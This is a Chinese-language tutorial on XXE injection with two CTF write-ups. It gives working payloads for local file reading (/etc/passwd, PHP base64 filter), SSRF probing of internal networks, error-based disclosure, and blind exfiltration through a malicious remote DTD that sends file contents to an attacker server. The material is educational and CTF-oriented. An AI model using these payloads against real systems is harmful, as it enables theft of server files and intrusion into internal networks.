外部实体注入(XXE)

XXE(XML External Entity Injection)漏洞是一种常见的网络安全漏洞,它允许攻击者对应用程序处理XML数据的过程进行干预。这种漏洞的利用可以导致敏感信息泄露、服务器端请求伪造(SSRF)、内网端口扫描等一系列安全问题


XML

XML(EXtensible Markup Lannguange)可扩展标记语言,被设计用来传输和存储数据,以下是一个示例文本

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog [
<!ENTITY company "TechCorp">
<!ENTITY year "2023">
<!ENTITY products SYSTEM "products.xml">
]>

<catalog>
<name>&company;</name>
<year>&year;</year>

<product id="P001">
<name>Laptop</name>
<price>999</price>
</product>

<external-data>
&products;
</external-data>

<info>Sample XML for structure analysis</info>
</catalog>

xml文本主要是由一堆标签和内容构成的结构化数据,xml可以引入外部实体的特性是产生了XXE漏洞的主要原因,在这里引入实体的部分是

<!DOCTYPE catalog [
<!ENTITY company "TechCorp">
<!ENTITY year "2023">
<!ENTITY products SYSTEM "products.xml">
]>

后续在文中使用&company;&year;&products;就等同于使用了"TechCorp""2023"products.xml里面的内容


DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块,实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体

实体声明:

<!ENTITY %entity0 "value"> //内部声明
<!ENTITY %entity1 SYSTEM "http://123.45.67.89/file"> //外部声明

漏洞利用

攻击类型 Payload 说明
文件读取 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 然后在XML中引用 &xxe; 利用 file:// 协议读取系统文件。如果文件内容含有特殊XML字符,可能导致解析错误
内网探测 (SSRF) <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/"> 利用外部实体请求触发XML解析器向内网系统发送HTTP请求,根据响应时间或错误信息判断端口/服务状态
无回显数据外带 在VPS放置恶意DTD(如 evil.dtd): <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://your-vps.com/?%file;'>"> %eval; %exfil;
提交Payload引用该DTD: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://your-vps.com/evil.dtd"> %xxe;]>
通过参数实体将目标文件内容拼接到发送给攻击者服务器的URL中。查看服务器访问日志即可获取文件内容
基于错误的文件读取 在VPS放置恶意DTD(如 error.dtd): <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
提交Payload引用该DTD
通过将文件内容注入到一个不存在的路径中,触发解析错误,从而在错误信息中回显文件内容

文件读取

这种攻击的核心在于,XML解析器在处理我们声明的外部实体时,会去读取SYSTEM关键字后面指定的URI所指向的资源,一个典型的有回显文件读取Payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
<content>&xxe;</content>
</data>

<!ENTITY xxe SYSTEM "file:///etc/passwd">:这行代码在DTD内部定义了一个名为xxe的外部实体,这个实体指向系统上的/etc/passwd文件

&xxe;:在XML文档中,通过&实体名;的格式引用这个实体。当XML解析器处理到此处时,会用/etc/passwd文件的内容替换&xxe;

如果文件内容包含像<, >, &这类在XML中有特殊意义的字符,解析器可能会报错。为了解决这个问题,我们常常配合使用PHP包装器(如果目标环境是PHP)进行Base64编码:

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

这样读出的内容会是Base64编码后的,可以避免特殊字符问题,之后需要再手动解码


内网探测

这种攻击方式本质上是利用XXE发起SSRF攻击,让XML解析器成为我们探测内网的”探针”,一个基本的探测Payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<data>
<status>&xxe;</status>
</data>

当XML解析器处理&xxe;时,会尝试访问http://192.168.1.1:8080/

根据响应时间、返回内容(如果回显)或错误信息(如连接拒绝、超时等),我们就可以推断该IP的80端口是否开放,或者相应服务是否存在,在实际渗透测试中,我们可能需要先读取服务器的网络配置文件(如/etc/network/interfaces/proc/net/arp/etc/hosts)来获取内网网段信息,然后再进行系统的端口或服务探测


无回显数据外带

由于数据不会直接显示在返回的页面上,我们需要通过参数实体构建一条外带 通道,将数据外带出来,看看具体的Payload:

攻击者在VPS上放置的恶意DTD文件

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://123.45.67.89/?file=%file;'>">
%eval;
%exfil;

% file:这是一个参数实体,它也会去读取/etc/passwd文件

% eval:这是另一个参数实体,它的值是一个定义了新实体 % exfil 的XML语句。这个% exfil实体的作用,是向攻击者服务器的8080端口发起一个HTTP请求,并将%file实体的内容(即文件内容)作为URL参数file的值

%eval%exfil:这两个是参数实体引用,它们会依次执行,触发整个数据外带过程

提交给目标网站的Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://123.45.67.89/evil.dtd">
%xxe;
]>
<foo>test</foo>

% xxe:这个参数实体会去加载远程服务器上的evil.dtd文件

%xxe;:引用此实体,意味着服务器会执行evil.dtd中定义的所有操作


基于错误的文件读取

当目标服务器不提供回显,但会返回详细的错误信息时,我们可以利用这种方法,通过错误来让文件内容在错误信息中显示出来,一个典型的利用Payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<message>trigger</message>

% file:参数实体,读取目标文件

% eval:参数实体,它的值定义了一个新的参数实体 % error。这个% error实体试图加载一个路径为file:///nonexistent/文件内容的文件

%eval;%error;:当解析器依次处理这些参数实体时,它会尝试去访问一个路径为/nonexistent/加上/etc/passwd文件内容的”文件”。这样的路径显然不存在,从而会触发一个错误(如FileNotFoundException)。而文件内容,因为被作为路径的一部分,就有可能包含在错误信息中返回给我们

这种方法高度依赖于服务器配置,需要其开启详细的错误回显


[Moe 2025]第十章 天机符阵

省流:flag在flag.txt里

注意回显在输出标签里面

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY flag SYSTEM "file:///var/www/html/flag.txt">
]>
<root>
<输出>&flag;</输出>
</root>

[极客大挑战2025]Image Viewer

安全的在线图片预览网站

题目给了一个图片预览接口,可以上传svg格式,可以直接搓XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg [
<!ENTITY flag SYSTEM "file:///flag">
]>
<svg width="1000" height="100">
<text x="100" y="20">&flag;</text>
</svg>

看到flag

flag